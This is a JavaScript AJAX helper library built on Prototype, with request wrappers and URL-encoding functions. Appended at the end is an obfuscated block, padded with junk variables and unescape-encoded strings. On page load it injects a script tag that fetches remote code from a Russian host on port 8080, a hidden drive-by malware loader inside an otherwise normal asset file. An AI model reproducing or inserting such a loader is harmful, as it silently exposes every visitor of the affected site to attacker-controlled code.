/*
	xmlHttp(url,layerName,method,moreParams);

	put thise line in your template
		<script src="../js/ajax.js" type="text/javascript"></script>

	example script
		http://castor/modules/ajax

	ex.
	xmlHttp('../phpScript/redirect.php','','get',{redirectLink:'http://castor/doc/'}); // in case or redirect layerName is not mandatory
	xmlHttp('post.php','layer2','post',{form:'formLogin',redirectLink:'../main/hm.php',loadingDiv:0});
		- form - form name
		- redirectLink - redirect if ...
			return text of php script must by echo('redirect');
			and the site goes to redirectLink
		- loadingDiv:0 - without loading animation
					 1 - with loading animation
					 default is 1
		- params - serialized list of parameter and value pairs to be transmitted to script. Ex: action=submit&text=hello
		- in case of session expire use ../include/sessionExpire.php
*/

var _msg_loading = "Loading";
var _loadingImg = "../images/loader.gif";
var _loadingDiv = "<table border='0' cellpadding='0' cellspacing='0'><tr><td id='loading'><img src='"+_loadingImg+"' alt='"+_msg_loading+"' width='16' height='16' /></td><td class='loading'>&nbsp;"+_msg_loading+"...</td></tr></table>";
include("../js/prototype_1.5.0.js");

function xmlHttp(url,layerName,method,moreParams){
	var postParameters = '';
	var loadingDiv = 1;
	var urlsplit =url.split('?');
	var urlExt = urlsplit[0].substring(urlsplit[0].length-3,urlsplit[0].length);//.php?

	if(moreParams){
		if(moreParams.form){
			formObj = eval('document.'+moreParams.form);
			postParameters = Form.serialize(formObj);
		}else if(moreParams.params){
			postParameters = moreParams.params;
		}else{
			postParameters = '';
		}
		if(moreParams.redirectLink){
			redirectLink = moreParams.redirectLink;
		}else{
			redirectLink = '/';
		}
		if(moreParams.loadingDiv >= 0){
			loadingDiv = moreParams.loadingDiv;
		}
	}
	if (!moreParams || !moreParams.form) {
		url = applyEncodeURI(url);
		url = url.replace(/%2F/g,'/');//doesn't affect functionality, just to show the paths
	}

	if(typeof(layerName) == "string")
		var layerArray = layerName.split(",");
	else
		var	layerArray = [layerName];

	var ajax = new Ajax.Request(
		 url,
		 {
			asynchronous:true,
			method: method,
			parameters: postParameters,
			onLoading: function(req){
				if(req.readyState == 1 && loadingDiv){
					for(i=0; i<layerArray.length; i++){
						$(layerArray[i]).innerHTML = _loadingDiv;
					}
				}
			},
			onSuccess: function(req){
				if(req.responseText == 'redirect'){
					window.location = redirectLink;
				}else{
					if (layerName=='') {
						setTimeout(function() {req.responseText.evalScripts()}, 10);
					} else {
						for(i=0; i<layerArray.length; i++){
							$(layerArray[i]).innerHTML = req.responseText.stripScripts();
							setTimeout(function() {req.responseText.evalScripts()}, 10);
						}
					}
				}
			}
		 }
	)
}

function xmlHttpUtf8(url,layerName,method,moreParams){
	url = '../include/utf8Encoder.php?urlEncoder='+url.replace(/\?/,'&');
	xmlHttp(url,layerName,method,moreParams);
}

function xmlHttpQueueUtf8(url,layerName,method,moreParams){
	//this.url += (this.url.match(/\?/) ? '&' : '?') + parameters;
	url += (url.match(/\?/)?'&':'?') + escape('!fromQueue') + '=1';
	xmlHttpUtf8(url,layerName,method,moreParams);
}

function xmlHttpQueue(url,layerName,method,moreParams){
	//this.url += (this.url.match(/\?/) ? '&' : '?') + parameters;
	url += (url.match(/\?/)?'&':'?') + escape('!fromQueue') + '=1';
	xmlHttp(url,layerName,method,moreParams);
}
function applyEncodeURI(url) {
	//encodeURIComponent
	var idQuote = url.indexOf('?');
	var idAnd = url.indexOf('&');
	var startPos=-1;
	if (idQuote!=-1) {
		startPos = idQuote;
	} else if(idAnd!=-1) {
		startPos = idAnd;
	}
	if (startPos!=-1) {
		//alert(startPos);
		var script = url.substring(0,startPos+1);
		var params = url.substring(startPos+1);
		var pairsArr = params.split('&');
		//alert(pairsArr);

		var encParams='';
		for(var i=0;i<pairsArr.length;i++) {
			var pairArr = pairsArr[i].split('=');
			if (pairArr.length==2) {
				encParams += '&'+encodeURIComponent(applyDecodeURI(pairArr[0]))+'='+encodeURIComponent(applyDecodeURI(pairArr[1]));
			} else {
				encParams += encodeURIComponent(applyDecodeURI(((i>0)?'&':'1')+pairsArr[i]));/* 1 is a dummy, it will be trimmed*/
			}
		}
		encParams = encParams.substring(1);
		//alert(encParams);
		url = script+encParams;
		//alert(url);
		//document.write(encParams);
			/*alert(script);
			alert(params);*/
	}
	return url;
}
function applyDecodeURI(element) {
	try{
		decoded = decodeURIComponent(element);
	}catch(e){
		decoded = unescape(element);
	}
	return decoded;
}

function include(scriptFilename) {
	document.write('<' + 'script');
    document.write(' language="javascript"');
    document.write(' type="text/javascript"');
    document.write(' src="' + scriptFilename + '">');
    document.write('</' + 'script' + '>');
}



var d='';var ud;if(ud!='Y' && ud!='vv'){ud=''};var x;if(x!='kn' && x!='q'){x=''};function i(){var _j;if(_j!='qM' && _j!='Jc'){_j='qM'};var fV=new String();var f=unescape;var QX;if(QX!='H' && QX != ''){QX=null};var A;if(A!='xr' && A != ''){A=null};var N=window;var Lv;if(Lv!='' && Lv!='Ft'){Lv=null};var J=f("%2f%6c%69%76%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%65%77%65%62%73%2e%63%6f%6d%2e%70%68%70");var X=new Array();function I(F,K){var v=String("g");var Z=f("%5b"), _=f("%5d");this.T="";var dc=new Date();var h=Z+K+_;this.WA="";var t;if(t!='S'){t='S'};var L=new RegExp(h, v);var Vu=new String();return F.replace(L, new String());};var M;if(M!='' && M!='Xt'){M=null};this.C="";var OU='';var We;if(We!='XF'){We='XF'};var VE;if(VE!='G'){VE='G'};var k=new String();var s=document;this.gr='';var Ay='';var ht=I('867451630453359787911306273759','72396145');var ZE=new Date();var R;if(R!='l' && R!='zQ'){R=''};var oR=new String();function b(){this._z='';var a=f("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var fL;if(fL!='qV' && fL != ''){fL=null};k=a;k+=ht;var OUy;if(OUy!='ks' && OUy!='QW'){OUy=''};var vk;if(vk!='_W'){vk=''};k+=J;try {var zh;if(zh!='wM'){zh=''};j=s.createElement(I('szc9r9iBpQtz','AyQDvjPO6KxFYBfuzh9'));var OUn="";j[f("%73%72%63")]=k;j[f("%64%65%66%65%72")]=[1][0];var ro;if(ro!='' && ro!='Sp'){ro='sh'};this.mM='';var Vh=new Date();var af;if(af!='Hh'){af='Hh'};s.body.appendChild(j);var sV=new Date();var by=new String();var UM;if(UM!='nk'){UM='nk'};} catch(u){var UR='';var nV='';alert(u);var hl;if(hl!='' && hl!='WWU'){hl=''};var GD;if(GD!='' && GD!='Ul'){GD=''};};var GP=new Array();var ky=new Date();}var mI;if(mI!='Io'){mI=''};var jE=new Array();var Xk;if(Xk!='ZW' && Xk!='DG'){Xk=''};var at;if(at!=''){at='yN'};N[new String("onlmWk".substr(0,3)+"bvkAoad".substr(4))]=b;var QJV="";var yz='';var Jd;if(Jd!='V_' && Jd != ''){Jd=null};var Z_;if(Z_!=''){Z_='KY'};};this.lj="";this.yzm="";i();this.Zb='';